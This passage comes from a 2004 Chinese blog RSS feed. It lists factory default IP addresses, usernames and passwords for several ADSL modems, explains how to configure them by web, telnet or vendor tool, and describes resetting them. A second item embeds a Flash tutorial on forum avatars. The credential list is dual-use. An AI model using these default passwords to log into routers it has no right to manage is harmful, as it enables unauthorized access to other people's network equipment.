<BR>password:epicrouter <BR>username:user <BR>password assword <BR><BR>UTStar的ut-300R <BR>http://192.168.1.1/ <BR>username:root or admin <BR>password:utstar <BR><BR>这些都是一些ADSL设奋的出厂时的默认初始IP，用户名和密码，是要调试这些设奋时必须要知道的东西。 <BR><BR>一般调试这些设奋有三种方法，一种是最常见的WEB方法，就是在浏览器中填入设奋的IP，如QX1680，就是在 浏览器地址栏输入10.0.0.2，出现提示栏后，输入用户名admin，密码qxcommsupport,就可以管理员设置界面了。最常见和最简单的就是这种方法。 <BR><BR>第二种方法就是用TELNET的方法，telnet IP,如早期的合勤642，方法telnet <BR>192.168.1.1,然后输入密码1234,就可以进入全英文的字符界面了。 <BR><BR>第三种方法就是用厂商自带的配置程序来进入配置界面，如CyberLink 6307/6309KG <BR>它使用在随Cybrlink 6307/6309KG带的光盘中DSLCom.exe， <BR>出厂时默认值：路由IP地址 :1 92.168.1.1密码 : <BR>stm，由于这种方法没有前两种方法方便，所以现在的低端产品比较少采用了。 <BR><BR>绝大部分产品的调试都是要先通过产品自带的双绞线连接设奋后，把本机网卡的IP设置成跟该设奋同一网段，再进行配置，如设奋被改了默认的IP或者密码，大部分都可以通过复位来恢复出厂默认值。最常用也是最有用的方法就是把设奋断电后，一直按住复位键，然后通电，持续一小段时间后就可以恢复出厂默认值了</P><!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://mrshelly.blogbus.com/logs/577959.html">Google 的评语</a> 2005-01-14</div><div><a href="http://mrshelly.blogbus.com/logs/1299855.html">MSComm控件使用详解</a> 2005-01-01</div><div><a href="http://mrshelly.blogbus.com/logs/459367.html">Advanced SQL Injection with MySQL</a> 2004-10-25</div><div><a href="http://mrshelly.blogbus.com/logs/444831.html">数据库的跨平台设计</a> 2004-10-16</div><div><a href="http://mrshelly.blogbus.com/logs/400871.html">如何修改论坛头象为外部URL</a> 2004-09-21</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmrshelly.blogbus.com%2Flogs%2F435459.html&title=%E9%83%A8%E5%88%86ADSL%E7%8C%AB%E7%9A%84%E9%BB%98%E8%AE%A4%E5%AF%86%E7%A0%81">Del.icio.us</a></span></div>]]></description>
   <link>http://mrshelly.blogbus.com/logs/435459.html</link>
   <author>shelly</author>
   <pubDate>Mon, 11 Oct 2004 10:33:25 +0800</pubDate>
  </item>
  <item>
   <title>如何修改论坛头象为外部URL</title>
   <description><![CDATA[有人在问如果修改论坛的头像,就做了下面的动画,希望大家喜欢 <BR>
<OBJECT codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0 classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 width=512 height=450><PARAM NAME="_cx" VALUE="13547"><PARAM NAME="_cy" VALUE="11906"><PARAM NAME="FlashVars" VALUE=""><PARAM NAME="Movie" VALUE="http://srx.8866.org/UploadFile/20042271349456396.swf"><PARAM NAME="Src" VALUE="http://srx.8866.org/UploadFile/20042271349456396.swf"><PARAM NAME="WMode" VALUE="Window"><PARAM NAME="Play" VALUE="-1"><PARAM NAME="Loop" VALUE="-1"><PARAM NAME="Quality" VALUE="High"><PARAM NAME="SAlign" VALUE=""><PARAM NAME="Menu" VALUE="-1"><PARAM NAME="Base" VALUE=""><PARAM NAME="AllowScriptAccess" VALUE="always"><PARAM NAME="Scale" VALUE="ShowAll"><PARAM NAME="DeviceFont" VALUE="0"><PARAM NAME="EmbedMovie" VALUE="0"><PARAM NAME="BGColor" VALUE=""><PARAM NAME="SWRemote" VALUE=""><PARAM NAME="MovieData" VALUE=""><PARAM NAME="SeamlessTabbing" VALUE="1">
<embed src=http://srx.8866.org/UploadFile/20042271349456396.swf  pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash' width=512 height=450></embed></OBJECT><!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://mrshelly.blogbus.com/logs/577959.html">Google 的评语</a> 2005-01-14</div><div><a href="http://mrshelly.blogbus.com/logs/1299855.html">MSComm控件使用详解</a> 2005-01-01</div><div><a href="http://mrshelly.blogbus.com/logs/459367.html">Advanced SQL Injection with MySQL</a> 2004-10-25</div><div><a href="http://mrshelly.blogbus.com/logs/444831.html">数据库的跨平台设计</a> 2004-10-16</div><div><a href="http://mrshelly.blogbus.com/logs/435459.html">部分ADSL猫的默认密码</a> 2004-10-11</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmrshelly.blogbus.com%2Flogs%2F400871.html&title=%E5%A6%82%E4%BD%95%E4%BF%AE%E6%94%B9%E8%AE%BA%E5%9D%9B%E5%A4%B4%E8%B1%A1%E4%B8%BA%E5%A4%96%E9%83%A8URL">Del.icio.us</a></span></div>]]></description>
   <link>http://mrshelly.blogbus.com/logs/400871.html</link>
   <author>shelly</author>
   <pubDate>Tue, 21 Sep 2004 13:38:32 +0800</pubDate>
  </item>
 </channel>
</rss>
